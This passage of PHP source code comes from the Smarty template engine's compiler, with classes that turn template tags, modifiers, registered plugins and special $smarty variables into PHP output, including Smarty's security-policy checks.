    public $isNamed = true;

    /**
     * @var array
     */
    public $matchResults = array();

    /**
     * Preg search pattern
     *
     * @var string
     */
    private $propertyPreg = '';

    /**
     * Offsets in preg match result
     *
     * @var array
     */
    private $resultOffsets = array();

    /**
     * Start offset
     *
     * @var int
     */
    private $startOffset = 0;

    /**
     * Scan sources for used tag attributes
     *
     * @param array                                 $attributes
     * @param \Smarty_Internal_TemplateCompilerBase $compiler
     *
     * @throws \SmartyException
     */
    public function scanForProperties($attributes, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        $this->propertyPreg = '~(';
        $this->startOffset = 1;
        $this->resultOffsets = array();
        $this->matchResults = array('named' => array(), 'item' => array());
        if (isset($attributes[ 'name' ])) {
            $this->buildPropertyPreg(true, $attributes);
        }
        if (isset($this->itemProperties)) {
            if ($this->isNamed) {
                $this->propertyPreg .= '|';
            }
            $this->buildPropertyPreg(false, $attributes);
        }
        $this->propertyPreg .= ')\W~i';
        // Template source
        $this->matchTemplateSource($compiler);
        // Parent template source
        $this->matchParentTemplateSource($compiler);
        // {block} source
        $this->matchBlockSource($compiler);
    }

    /**
     * Build property preg string
     *
     * @param bool  $named
     * @param array $attributes
     */
    public function buildPropertyPreg($named, $attributes)
    {
        if ($named) {
            $this->resultOffsets[ 'named' ] = $this->startOffset = $this->startOffset + 3;
            $this->propertyPreg .= "(([\$]smarty[.]{$this->tagName}[.]" .
                                   ($this->tagName === 'section' ? "|[\[]\s*" : '') .
                                   "){$attributes['name']}[.](";
            $properties = $this->nameProperties;
        } else {
            $this->resultOffsets[ 'item' ] = $this->startOffset = $this->startOffset + 2;
            $this->propertyPreg .= "([\$]{$attributes['item']}[@](";
            $properties = $this->itemProperties;
        }
        $propName = reset($properties);
        while ($propName) {
            $this->propertyPreg .= "{$propName}";
            $propName = next($properties);
            if ($propName) {
                $this->propertyPreg .= '|';
            }
        }
        $this->propertyPreg .= '))';
    }

    /**
     * Find matches in source string
     *
     * @param string $source
     */
    public function matchProperty($source)
    {
        preg_match_all($this->propertyPreg, $source, $match);
        foreach ($this->resultOffsets as $key => $offset) {
            foreach ($match[ $offset ] as $m) {
                if (!empty($m)) {
                    $this->matchResults[ $key ][ smarty_strtolower_ascii($m) ] = true;
                }
            }
        }
    }

    /**
     * Find matches in template source
     *
     * @param \Smarty_Internal_TemplateCompilerBase $compiler
     */
    public function matchTemplateSource(Smarty_Internal_TemplateCompilerBase $compiler)
    {
        $this->matchProperty($compiler->parser->lex->data);
    }

    /**
     * Find matches in all parent template source
     *
     * @param \Smarty_Internal_TemplateCompilerBase $compiler
     *
     * @throws \SmartyException
     */
    public function matchParentTemplateSource(Smarty_Internal_TemplateCompilerBase $compiler)
    {
        // search parent compiler template source
        $nextCompiler = $compiler;
        while ($nextCompiler !== $nextCompiler->parent_compiler) {
            $nextCompiler = $nextCompiler->parent_compiler;
            if ($compiler !== $nextCompiler) {
                // get template source
                $_content = $nextCompiler->template->source->getContent();
                if ($_content !== '') {
                    // run pre filter if required
                    if ((isset($nextCompiler->smarty->autoload_filters[ 'pre' ]) ||
                         isset($nextCompiler->smarty->registered_filters[ 'pre' ]))
                    ) {
                        $_content = $nextCompiler->smarty->ext->_filterHandler->runFilter(
                            'pre',
                            $_content,
                            $nextCompiler->template
                        );
                    }
                    $this->matchProperty($_content);
                }
            }
        }
    }

    /**
     * Find matches in {block} tag source
     *
     * @param \Smarty_Internal_TemplateCompilerBase $compiler
     */
    public function matchBlockSource(Smarty_Internal_TemplateCompilerBase $compiler)
    {
    }

    /**
     * Compiles code for the {$smarty.foreach.xxx} or {$smarty.section.xxx}tag
     *
     * @param array                                 $args      array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler  compiler object
     * @param array                                 $parameter array with compilation parameter
     *
     * @return string compiled code
     * @throws \SmartyCompilerException
     */
    public function compileSpecialVariable($args, Smarty_Internal_TemplateCompilerBase $compiler, $parameter)
    {
        $tag = smarty_strtolower_ascii(trim($parameter[ 0 ], '"\''));
        $name = isset($parameter[ 1 ]) ? $compiler->getId($parameter[ 1 ]) : false;
        if (!$name) {
            $compiler->trigger_template_error("missing or illegal \$smarty.{$tag} name attribute", null, true);
        }
        $property = isset($parameter[ 2 ]) ? smarty_strtolower_ascii($compiler->getId($parameter[ 2 ])) : false;
        if (!$property || !in_array($property, $this->nameProperties)) {
            $compiler->trigger_template_error("missing or illegal \$smarty.{$tag} property attribute", null, true);
        }
        $tagVar = "'__smarty_{$tag}_{$name}'";
        return "(isset(\$_smarty_tpl->tpl_vars[{$tagVar}]->value['{$property}']) ? \$_smarty_tpl->tpl_vars[{$tagVar}]->value['{$property}'] : null)";
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Function Plugin
 * Compiles code for the execution of function plugin
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Function Plugin Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Private_Function_Plugin extends Smarty_Internal_CompileBase
{
    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $required_attributes = array();

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $optional_attributes = array('_any');

    /**
     * Compiles code for the execution of function plugin
     *
     * @param array                                 $args      array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler  compiler object
     * @param array                                 $parameter array with compilation parameter
     * @param string                                $tag       name of function plugin
     * @param string                                $function  PHP function name
     *
     * @return string compiled code
     * @throws \SmartyCompilerException
     * @throws \SmartyException
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler, $parameter, $tag, $function)
    {
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        unset($_attr[ 'nocache' ]);
        // convert attributes into parameter array string
        $_paramsArray = array();
        foreach ($_attr as $_key => $_value) {
            if (is_int($_key)) {
                $_paramsArray[] = "$_key=>$_value";
            } else {
                $_paramsArray[] = "'$_key'=>$_value";
            }
        }
        $_params = 'array(' . implode(',', $_paramsArray) . ')';
        // compile code
        $output = "{$function}({$_params},\$_smarty_tpl)";
        if (!empty($parameter[ 'modifierlist' ])) {
            $output = $compiler->compileTag(
                'private_modifier',
                array(),
                array(
                    'modifierlist' => $parameter[ 'modifierlist' ],
                    'value'        => $output
                )
            );
        }
        $output = "<?php echo {$output};?>\n";
        return $output;
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Modifier
 * Compiles code for modifier execution
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Modifier Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Private_Modifier extends Smarty_Internal_CompileBase
{
    /**
     * Compiles code for modifier execution
     *
     * @param array                                 $args      array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler  compiler object
     * @param array                                 $parameter array with compilation parameter
     *
     * @return string compiled code
     * @throws \SmartyCompilerException
     * @throws \SmartyException
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler, $parameter)
    {
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        $output = $parameter[ 'value' ];
        // loop over list of modifiers
        foreach ($parameter[ 'modifierlist' ] as $single_modifier) {
            /* @var string $modifier */
            $modifier = $single_modifier[ 0 ];
            $single_modifier[ 0 ] = $output;
            $params = implode(',', $single_modifier);
            // check if we know already the type of modifier
            if (isset($compiler->known_modifier_type[ $modifier ])) {
                $modifier_types = array($compiler->known_modifier_type[ $modifier ]);
            } else {
                $modifier_types = array(1, 2, 3, 4, 5, 6);
            }
            foreach ($modifier_types as $type) {
                switch ($type) {
                    case 1:
                        // registered modifier
                        if (isset($compiler->smarty->registered_plugins[ Smarty::PLUGIN_MODIFIER ][ $modifier ])) {
                            if (is_callable($compiler->smarty->registered_plugins[ Smarty::PLUGIN_MODIFIER ][ $modifier ][ 0 ])) {
                                $output =
                                    sprintf(
                                        'call_user_func_array($_smarty_tpl->registered_plugins[ \'%s\' ][ %s ][ 0 ], array( %s ))',
                                        Smarty::PLUGIN_MODIFIER,
                                        var_export($modifier, true),
                                        $params
                                    );
                                $compiler->known_modifier_type[ $modifier ] = $type;
                                break 2;
                            }
                        }
                        break;
                    case 2:
                        // registered modifier compiler
                        if (isset($compiler->smarty->registered_plugins[ Smarty::PLUGIN_MODIFIERCOMPILER ][ $modifier ][ 0 ])) {
                            $output =
                                call_user_func(
                                    $compiler->smarty->registered_plugins[ Smarty::PLUGIN_MODIFIERCOMPILER ][ $modifier ][ 0 ],
                                    $single_modifier,
                                    $compiler->smarty
                                );
                            $compiler->known_modifier_type[ $modifier ] = $type;
                            break 2;
                        }
                        break;
                    case 3:
                        // modifiercompiler plugin
                        if ($compiler->smarty->loadPlugin('smarty_modifiercompiler_' . $modifier)) {
                            // check if modifier allowed
                            if (!is_object($compiler->smarty->security_policy)
                                || $compiler->smarty->security_policy->isTrustedModifier($modifier, $compiler)
                            ) {
                                $plugin = 'smarty_modifiercompiler_' . $modifier;
                                $output = $plugin($single_modifier, $compiler);
                            }
                            $compiler->known_modifier_type[ $modifier ] = $type;
                            break 2;
                        }
                        break;
                    case 4:
                        // modifier plugin
                        if ($function = $compiler->getPlugin($modifier, Smarty::PLUGIN_MODIFIER)) {
                            // check if modifier allowed
                            if (!is_object($compiler->smarty->security_policy)
                                || $compiler->smarty->security_policy->isTrustedModifier($modifier, $compiler)
                            ) {
                                $output = "{$function}({$params})";
                            }
                            $compiler->known_modifier_type[ $modifier ] = $type;
                            break 2;
                        }
                        break;
                    case 5:
                        // PHP function
                        if (is_callable($modifier)) {
                            // check if modifier allowed
                            if (!is_object($compiler->smarty->security_policy)
                                || $compiler->smarty->security_policy->isTrustedPhpModifier($modifier, $compiler)
                            ) {
                                if (!in_array($modifier, ['time', 'join', 'is_array', 'in_array'])) {
                                    trigger_error('Using unregistered function "' . $modifier . '" in a template is deprecated and will be ' .
                                        'removed in a future release. Use Smarty::registerPlugin to explicitly register ' .
                                        'a custom modifier.', E_USER_DEPRECATED);
                                }
                                $output = "{$modifier}({$params})";
                            }
                            $compiler->known_modifier_type[ $modifier ] = $type;
                            break 2;
                        }
                        break;
                    case 6:
                        // default plugin handler
                        if (isset($compiler->default_handler_plugins[ Smarty::PLUGIN_MODIFIER ][ $modifier ])
                            || (is_callable($compiler->smarty->default_plugin_handler_func)
                                && $compiler->getPluginFromDefaultHandler($modifier, Smarty::PLUGIN_MODIFIER))
                        ) {
                            $function = $compiler->default_handler_plugins[ Smarty::PLUGIN_MODIFIER ][ $modifier ][ 0 ];
                            // check if modifier allowed
                            if (!is_object($compiler->smarty->security_policy)
                                || $compiler->smarty->security_policy->isTrustedModifier($modifier, $compiler)
                            ) {
                                if (!is_array($function)) {
                                    $output = "{$function}({$params})";
                                } else {
                                    if (is_object($function[ 0 ])) {
                                        $output = $function[ 0 ] . '->' . $function[ 1 ] . '(' . $params . ')';
                                    } else {
                                        $output = $function[ 0 ] . '::' . $function[ 1 ] . '(' . $params . ')';
                                    }
                                }
                            }
                            if (isset($compiler->required_plugins[ 'nocache' ][ $modifier ][ Smarty::PLUGIN_MODIFIER ][ 'file' ])
                                ||
                                isset($compiler->required_plugins[ 'compiled' ][ $modifier ][ Smarty::PLUGIN_MODIFIER ][ 'file' ])
                            ) {
                                // was a plugin
                                $compiler->known_modifier_type[ $modifier ] = 4;
                            } else {
                                $compiler->known_modifier_type[ $modifier ] = $type;
                            }
                            break 2;
                        }
                }
            }
            if (!isset($compiler->known_modifier_type[ $modifier ])) {
                $compiler->trigger_template_error("unknown modifier '{$modifier}'", null, true);
            }
        }
        return $output;
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Object Block Function
 * Compiles code for registered objects as block function
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Object Block Function Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Private_Object_Block_Function extends Smarty_Internal_Compile_Private_Block_Plugin
{
    /**
     * Setup callback and parameter array
     *
     * @param \Smarty_Internal_TemplateCompilerBase $compiler
     * @param array                                 $_attr attributes
     * @param string                                $tag
     * @param string                                $method
     *
     * @return array
     */
    public function setup(Smarty_Internal_TemplateCompilerBase $compiler, $_attr, $tag, $method)
    {
        $_paramsArray = array();
        foreach ($_attr as $_key => $_value) {
            if (is_int($_key)) {
                $_paramsArray[] = "$_key=>$_value";
            } else {
                $_paramsArray[] = "'$_key'=>$_value";
            }
        }
        $callback = array("\$_smarty_tpl->smarty->registered_objects['{$tag}'][0]", "->{$method}");
        return array($callback, $_paramsArray, "array(\$_block_plugin{$this->nesting}, '{$method}')");
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Object Function
 * Compiles code for registered objects as function
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Object Function Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Private_Object_Function extends Smarty_Internal_CompileBase
{
    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $optional_attributes = array('_any');

    /**
     * Compiles code for the execution of function plugin
     *
     * @param array                                 $args      array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler  compiler object
     * @param array                                 $parameter array with compilation parameter
     * @param string                                $tag       name of function
     * @param string                                $method    name of method to call
     *
     * @return string compiled code
     * @throws \SmartyCompilerException
     * @throws \SmartyException
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler, $parameter, $tag, $method)
    {
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        unset($_attr[ 'nocache' ]);
        $_assign = null;
        if (isset($_attr[ 'assign' ])) {
            $_assign = $_attr[ 'assign' ];
            unset($_attr[ 'assign' ]);
        }
        // method or property ?
        if (is_callable(array($compiler->smarty->registered_objects[ $tag ][ 0 ], $method))) {
            // convert attributes into parameter array string
            if ($compiler->smarty->registered_objects[ $tag ][ 2 ]) {
                $_paramsArray = array();
                foreach ($_attr as $_key => $_value) {
                    if (is_int($_key)) {
                        $_paramsArray[] = "$_key=>$_value";
                    } else {
                        $_paramsArray[] = "'$_key'=>$_value";
                    }
                }
                $_params = 'array(' . implode(',', $_paramsArray) . ')';
                $output = "\$_smarty_tpl->smarty->registered_objects['{$tag}'][0]->{$method}({$_params},\$_smarty_tpl)";
            } else {
                $_params = implode(',', $_attr);
                $output = "\$_smarty_tpl->smarty->registered_objects['{$tag}'][0]->{$method}({$_params})";
            }
        } else {
            // object property
            $output = "\$_smarty_tpl->smarty->registered_objects['{$tag}'][0]->{$method}";
        }
        if (!empty($parameter[ 'modifierlist' ])) {
            $output = $compiler->compileTag(
                'private_modifier',
                array(),
                array('modifierlist' => $parameter[ 'modifierlist' ], 'value' => $output)
            );
        }
        if (empty($_assign)) {
            return "<?php echo {$output};?>\n";
        } else {
            return "<?php \$_smarty_tpl->assign({$_assign},{$output});?>\n";
        }
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Print Expression
 * Compiles any tag which will output an expression or variable
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Print Expression Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Private_Print_Expression extends Smarty_Internal_CompileBase
{
    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $optional_attributes = array('assign');

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $option_flags = array('nocache', 'nofilter');

    /**
     * Compiles code for generating output from any expression
     *
     * @param array                                 $args      array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler  compiler object
     * @param array                                 $parameter array with compilation parameter
     *
     * @return string
     * @throws \SmartyException
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler, $parameter)
    {
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        $output = $parameter[ 'value' ];
        // tag modifier
        if (!empty($parameter[ 'modifierlist' ])) {
            $output = $compiler->compileTag(
                'private_modifier',
                array(),
                array(
                    'modifierlist' => $parameter[ 'modifierlist' ],
                    'value'        => $output
                )
            );
        }
        if (isset($_attr[ 'assign' ])) {
            // assign output to variable
            return "<?php \$_smarty_tpl->assign({$_attr['assign']},{$output});?>";
        } else {
            // display value
            if (!$_attr[ 'nofilter' ]) {
                // default modifier
                if (!empty($compiler->smarty->default_modifiers)) {
                    if (empty($compiler->default_modifier_list)) {
                        $modifierlist = array();
                        foreach ($compiler->smarty->default_modifiers as $key => $single_default_modifier) {
                            preg_match_all(
                                '/(\'[^\'\\\\]*(?:\\\\.[^\'\\\\]*)*\'|"[^"\\\\]*(?:\\\\.[^"\\\\]*)*"|:|[^:]+)/',
                                $single_default_modifier,
                                $mod_array
                            );
                            for ($i = 0, $count = count($mod_array[ 0 ]); $i < $count; $i++) {
                                if ($mod_array[ 0 ][ $i ] !== ':') {
                                    $modifierlist[ $key ][] = $mod_array[ 0 ][ $i ];
                                }
                            }
                        }
                        $compiler->default_modifier_list = $modifierlist;
                    }
                    $output = $compiler->compileTag(
                        'private_modifier',
                        array(),
                        array(
                            'modifierlist' => $compiler->default_modifier_list,
                            'value'        => $output
                        )
                    );
                }
                // autoescape html
                if ($compiler->template->smarty->escape_html) {
                    $output = "htmlspecialchars((string) ({$output}), ENT_QUOTES, '" . addslashes(Smarty::$_CHARSET) . "')";
                }
                // loop over registered filters
                if (!empty($compiler->template->smarty->registered_filters[ Smarty::FILTER_VARIABLE ])) {
                    foreach ($compiler->template->smarty->registered_filters[ Smarty::FILTER_VARIABLE ] as $key =>
                        $function) {
                        if (!is_array($function)) {
                            $output = "{$function}({$output},\$_smarty_tpl)";
                        } elseif (is_object($function[ 0 ])) {
                            $output =
                                "\$_smarty_tpl->smarty->registered_filters[Smarty::FILTER_VARIABLE]['{$key}'][0]->{$function[1]}({$output},\$_smarty_tpl)";
                        } else {
                            $output = "{$function[0]}::{$function[1]}({$output},\$_smarty_tpl)";
                        }
                    }
                }
                // auto loaded filters
                if (isset($compiler->smarty->autoload_filters[ Smarty::FILTER_VARIABLE ])) {
                    foreach ((array)$compiler->template->smarty->autoload_filters[ Smarty::FILTER_VARIABLE ] as $name) {
                        $result = $this->compile_variable_filter($compiler, $name, $output);
                        if ($result !== false) {
                            $output = $result;
                        } else {
                            // not found, throw exception
                            throw new SmartyException("Unable to load variable filter '{$name}'");
                        }
                    }
                }
                foreach ($compiler->variable_filters as $filter) {
                    if (count($filter) === 1
                        && ($result = $this->compile_variable_filter($compiler, $filter[ 0 ], $output)) !== false
                    ) {
                        $output = $result;
                    } else {
                        $output = $compiler->compileTag(
                            'private_modifier',
                            array(),
                            array('modifierlist' => array($filter), 'value' => $output)
                        );
                    }
                }
            }
            $output = "<?php echo {$output};?>\n";
        }
        return $output;
    }

    /**
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     * @param string                                $name     name of variable filter
     * @param string                                $output   embedded output
     *
     * @return string
     * @throws \SmartyException
     */
    private function compile_variable_filter(Smarty_Internal_TemplateCompilerBase $compiler, $name, $output)
    {
        $function = $compiler->getPlugin($name, 'variablefilter');
        if ($function) {
            return "{$function}({$output},\$_smarty_tpl)";
        } else {
            // not found
            return false;
        }
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Registered Block
 * Compiles code for the execution of a registered block function
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Registered Block Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Private_Registered_Block extends Smarty_Internal_Compile_Private_Block_Plugin
{
    /**
     * Setup callback, parameter array and nocache mode
     *
     * @param \Smarty_Internal_TemplateCompilerBase $compiler
     * @param array                                 $_attr attributes
     * @param string                                $tag
     * @param null                                  $function
     *
     * @return array
     */
    public function setup(Smarty_Internal_TemplateCompilerBase $compiler, $_attr, $tag, $function)
    {
        if (isset($compiler->smarty->registered_plugins[ Smarty::PLUGIN_BLOCK ][ $tag ])) {
            $tag_info = $compiler->smarty->registered_plugins[ Smarty::PLUGIN_BLOCK ][ $tag ];
            $callback = $tag_info[ 0 ];
            if (is_array($callback)) {
                if (is_object($callback[ 0 ])) {
                    $callable = "array(\$_block_plugin{$this->nesting}, '{$callback[1]}')";
                    $callback =
                        array("\$_smarty_tpl->smarty->registered_plugins['block']['{$tag}'][0][0]", "->{$callback[1]}");
                } else {
                    $callable = "array(\$_block_plugin{$this->nesting}, '{$callback[1]}')";
                    $callback =
                        array("\$_smarty_tpl->smarty->registered_plugins['block']['{$tag}'][0][0]", "::{$callback[1]}");
                }
            } else {
                $callable = "\$_block_plugin{$this->nesting}";
                $callback = array("\$_smarty_tpl->smarty->registered_plugins['block']['{$tag}'][0]", '');
            }
        } else {
            $tag_info = $compiler->default_handler_plugins[ Smarty::PLUGIN_BLOCK ][ $tag ];
            $callback = $tag_info[ 0 ];
            if (is_array($callback)) {
                $callable = "array('{$callback[0]}', '{$callback[1]}')";
                $callback = "{$callback[1]}::{$callback[1]}";
            } else {
                $callable = null;
            }
        }
        $compiler->tag_nocache = !$tag_info[ 1 ] | $compiler->tag_nocache;
        $_paramsArray = array();
        foreach ($_attr as $_key => $_value) {
            if (is_int($_key)) {
                $_paramsArray[] = "$_key=>$_value";
            } elseif ($compiler->template->caching && in_array($_key, $tag_info[ 2 ])) {
                $_value = str_replace('\'', "^#^", $_value);
                $_paramsArray[] = "'$_key'=>^#^.var_export($_value,true).^#^";
            } else {
                $_paramsArray[] = "'$_key'=>$_value";
            }
        }
        return array($callback, $_paramsArray, $callable);
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Registered Function
 * Compiles code for the execution of a registered function
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Registered Function Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Private_Registered_Function extends Smarty_Internal_CompileBase
{
    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $optional_attributes = array('_any');

    /**
     * Compiles code for the execution of a registered function
     *
     * @param array                                 $args      array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler  compiler object
     * @param array                                 $parameter array with compilation parameter
     * @param string                                $tag       name of function
     *
     * @return string compiled code
     * @throws \SmartyCompilerException
     * @throws \SmartyException
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler, $parameter, $tag)
    {
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        unset($_attr[ 'nocache' ]);
        if (isset($compiler->smarty->registered_plugins[ Smarty::PLUGIN_FUNCTION ][ $tag ])) {
            $tag_info = $compiler->smarty->registered_plugins[ Smarty::PLUGIN_FUNCTION ][ $tag ];
            $is_registered = true;
        } else {
            $tag_info = $compiler->default_handler_plugins[ Smarty::PLUGIN_FUNCTION ][ $tag ];
            $is_registered = false;
        }
        // not cacheable?
        $compiler->tag_nocache = $compiler->tag_nocache || !$tag_info[ 1 ];
        // convert attributes into parameter array string
        $_paramsArray = array();
        foreach ($_attr as $_key => $_value) {
            if (is_int($_key)) {
                $_paramsArray[] = "$_key=>$_value";
            } elseif ($compiler->template->caching && in_array($_key, $tag_info[ 2 ])) {
                $_value = str_replace('\'', "^#^", $_value);
                $_paramsArray[] = "'$_key'=>^#^.var_export($_value,true).^#^";
            } else {
                $_paramsArray[] = "'$_key'=>$_value";
            }
        }
        $_params = 'array(' . implode(',', $_paramsArray) . ')';
        // compile code
        if ($is_registered) {
            $output =
                "call_user_func_array( \$_smarty_tpl->smarty->registered_plugins[Smarty::PLUGIN_FUNCTION]['{$tag}'][0], array( {$_params},\$_smarty_tpl ) )";
        } else {
            $function = $tag_info[ 0 ];
            if (!is_array($function)) {
                $output = "{$function}({$_params},\$_smarty_tpl)";
            } else {
                $output = "{$function[0]}::{$function[1]}({$_params},\$_smarty_tpl)";
            }
        }
        if (!empty($parameter[ 'modifierlist' ])) {
            $output = $compiler->compileTag(
                'private_modifier',
                array(),
                array(
                    'modifierlist' => $parameter[ 'modifierlist' ],
                    'value'        => $output
                )
            );
        }
        $output = "<?php echo {$output};?>\n";
        return $output;
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Special Smarty Variable
 * Compiles the special $smarty variables
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile special Smarty Variable Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Private_Special_Variable extends Smarty_Internal_CompileBase
{
    /**
     * Compiles code for the special $smarty variables
     *
     * @param array                                 $args     array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     * @param                                       $parameter
     *
     * @return string compiled code
     * @throws \SmartyCompilerException
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler, $parameter)
    {
        $_index = preg_split("/\]\[/", substr($parameter, 1, strlen($parameter) - 2));
        $variable = smarty_strtolower_ascii($compiler->getId($_index[ 0 ]));
        if ($variable === false) {
            $compiler->trigger_template_error("special \$Smarty variable name index can not be variable", null, true);
        }
        if (!isset($compiler->smarty->security_policy)
            || $compiler->smarty->security_policy->isTrustedSpecialSmartyVar($variable, $compiler)
        ) {
            switch ($variable) {
                case 'foreach':
                case 'section':
                    if (!isset(Smarty_Internal_TemplateCompilerBase::$_tag_objects[ $variable ])) {
                        $class = 'Smarty_Internal_Compile_' . smarty_ucfirst_ascii($variable);
                        Smarty_Internal_TemplateCompilerBase::$_tag_objects[ $variable ] = new $class;
                    }
                    return Smarty_Internal_TemplateCompilerBase::$_tag_objects[ $variable ]->compileSpecialVariable(
                        array(),
                        $compiler,
                        $_index
                    );
                case 'capture':
                    if (class_exists('Smarty_Internal_Compile_Capture')) {
                        return Smarty_Internal_Compile_Capture::compileSpecialVariable(array(), $compiler, $_index);
                    }
                    return '';
                case 'now':
                    return 'time()';
                case 'cookies':
                    if (isset($compiler->smarty->security_policy)
                        && !$compiler->smarty->security_policy->allow_super_globals
                    ) {
                        $compiler->trigger_template_error("(secure mode) super globals not permitted");
                        break;
                    }
                    $compiled_ref = '$_COOKIE';
                    break;
                case 'get':
                case 'post':
                case 'env':
                case 'server':
                case 'session':
                case 'request':
                    if (isset($compiler->smarty->security_policy)
                        && !$compiler->smarty->security_policy->allow_super_globals
                    ) {
                        $compiler->trigger_template_error("(secure mode) super globals not permitted");
                        break;
                    }
                    $compiled_ref = '$_' . smarty_strtoupper_ascii($variable);
                    break;
                case 'template':
                    return 'basename($_smarty_tpl->source->filepath)';
                case 'template_object':
                    if (isset($compiler->smarty->security_policy)) {
                        $compiler->trigger_template_error("(secure mode) template_object not permitted");
                        break;
                    }
                    return '$_smarty_tpl';
                case 'current_dir':
                    return 'dirname($_smarty_tpl->source->filepath)';
                case 'version':
                    return "Smarty::SMARTY_VERSION";
                case 'const':
                    if (isset($compiler->smarty->security_policy)
                        && !$compiler->smarty->security_policy->allow_constants
                    ) {
                        $compiler->trigger_template_error("(secure mode) constants not permitted");
                        break;
                    }
                    if (strpos($_index[ 1 ], '$') === false && strpos($_index[ 1 ], '\'') === false) {
                        return "(defined('{$_index[1]}') ? constant('{$_index[1]}') : null)";
                    } else {
                        return "(defined({$_index[1]}) ? constant({$_index[1]}) : null)";
                    }
                // no break
                case 'config':
                    if (isset($_index[ 2 ])) {
                        return "(is_array(\$tmp = \$_smarty_tpl->smarty->ext->configload->_getConfigVariable(\$_smarty_tpl, $_index[1])) ? \$tmp[$_index[2]] : null)";
                    } else {
                        return "\$_smarty_tpl->smarty->ext->configload->_getConfigVariable(\$_smarty_tpl, $_index[1])";
                    }
                // no break
                case 'ldelim':
                    return "\$_smarty_tpl->smarty->left_delimiter";
                case 'rdelim':
                    return "\$_smarty_tpl->smarty->right_delimiter";
                default:
                    $compiler->trigger_template_error('$smarty.' . trim($_index[ 0 ], "'") . ' is not defined');
                    break;
            }
            if (isset($_index[ 1 ])) {
                array_shift($_index);
                foreach ($_index as $_ind) {
                    $compiled_ref = $compiled_ref . "[$_ind]";
                }
            }
            return $compiled_ref;
        }
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Rdelim
 * Compiles the {rdelim} tag
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Rdelim Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Rdelim extends Smarty_Internal_Compile_Ldelim
{
    /**
     * Compiles code for the {rdelim} tag
     * This tag does output the right delimiter.
     *
     * @param array                                 $args     array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     *
     * @return string compiled code
     * @throws \SmartyCompilerException
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        parent::compile($args, $compiler);
        return $compiler->smarty->right_delimiter;
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Section
 * Compiles the {section} {sectionelse} {/section} tags
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Section Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Section extends Smarty_Internal_Compile_Private_ForeachSection
{
    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
